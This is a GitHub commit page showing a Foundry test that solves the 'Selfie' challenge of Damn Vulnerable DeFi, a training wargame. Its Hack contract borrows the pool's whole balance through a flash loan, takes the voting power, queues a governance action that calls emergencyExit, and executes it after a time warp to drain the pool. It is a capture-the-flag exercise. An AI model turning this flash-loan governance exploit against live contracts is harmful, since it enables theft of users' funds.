-
Notifications
You must be signed in to change notification settings - Fork 115
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
179 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
115 changes: 115 additions & 0 deletions
115
Writeup/DeletedAccount/DamnVulnerableDeFi-05-Selfie.t.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,115 @@ | ||
// SPDX-License-Identifier: MIT | ||
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz) | ||
pragma solidity =0.8.25; | ||
|
||
import {Test, console} from "forge-std/Test.sol"; | ||
import {DamnValuableVotes} from "../../src/DamnValuableVotes.sol"; | ||
import {SimpleGovernance} from "../../src/selfie/SimpleGovernance.sol"; | ||
import {SelfiePool} from "../../src/selfie/SelfiePool.sol"; | ||
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"; | ||
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol"; | ||
|
||
contract SelfieChallenge is Test { | ||
address deployer = makeAddr("deployer"); | ||
address player = makeAddr("player"); | ||
address recovery = makeAddr("recovery"); | ||
|
||
uint256 constant TOKEN_INITIAL_SUPPLY = 2_000_000e18; | ||
uint256 constant TOKENS_IN_POOL = 1_500_000e18; | ||
|
||
DamnValuableVotes token; | ||
SimpleGovernance governance; | ||
SelfiePool pool; | ||
|
||
modifier checkSolvedByPlayer() { | ||
vm.startPrank(player, player); | ||
_; | ||
vm.stopPrank(); | ||
_isSolved(); | ||
} | ||
|
||
/** | ||
* SETS UP CHALLENGE - DO NOT TOUCH | ||
*/ | ||
function setUp() public { | ||
startHoax(deployer); | ||
|
||
// Deploy token | ||
token = new DamnValuableVotes(TOKEN_INITIAL_SUPPLY); | ||
|
||
// Deploy governance contract | ||
governance = new SimpleGovernance(token); | ||
|
||
// Deploy pool | ||
pool = new SelfiePool(token, governance); | ||
|
||
// Fund the pool | ||
token.transfer(address(pool), TOKENS_IN_POOL); | ||
|
||
vm.stopPrank(); | ||
} | ||
|
||
/** | ||
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH | ||
*/ | ||
function test_assertInitialState() public view { | ||
assertEq(address(pool.token()), address(token)); | ||
assertEq(address(pool.governance()), address(governance)); | ||
assertEq(token.balanceOf(address(pool)), TOKENS_IN_POOL); | ||
assertEq(pool.maxFlashLoan(address(token)), TOKENS_IN_POOL); | ||
assertEq(pool.flashFee(address(token), 0), 0); | ||
} | ||
|
||
/** | ||
* CODE YOUR SOLUTION HERE | ||
*/ | ||
function test_selfie() public checkSolvedByPlayer { | ||
Hack hack = new Hack(token, governance, pool, recovery); | ||
|
||
bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery); | ||
pool.flashLoan(hack, address(token), TOKENS_IN_POOL, data); | ||
|
||
vm.warp(2 days + 1); | ||
|
||
governance.executeAction(1); | ||
} | ||
|
||
/** | ||
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH | ||
*/ | ||
function _isSolved() private view { | ||
// Player has taken all tokens from the pool | ||
assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens"); | ||
assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account"); | ||
} | ||
} | ||
|
||
|
||
contract Hack is IERC3156FlashBorrower { | ||
DamnValuableVotes _token; | ||
SimpleGovernance governance; | ||
SelfiePool pool; | ||
address recovery; | ||
|
||
constructor(DamnValuableVotes token, SimpleGovernance _governance, SelfiePool _pool, address _recovery) { | ||
_token = token; | ||
governance = _governance; | ||
pool = _pool; | ||
recovery = _recovery; | ||
} | ||
|
||
function onFlashLoan( | ||
address initiator, | ||
address token, | ||
uint256 amount, | ||
uint256 fee, | ||
bytes calldata data | ||
) external override returns (bytes32) { | ||
_token.delegate(address(this)); | ||
governance.queueAction(address(pool), 0, data); | ||
|
||
IERC20(token).approve(msg.sender, type(uint256).max); | ||
|
||
return keccak256("ERC3156FlashBorrower.onFlashLoan"); | ||
} | ||
} |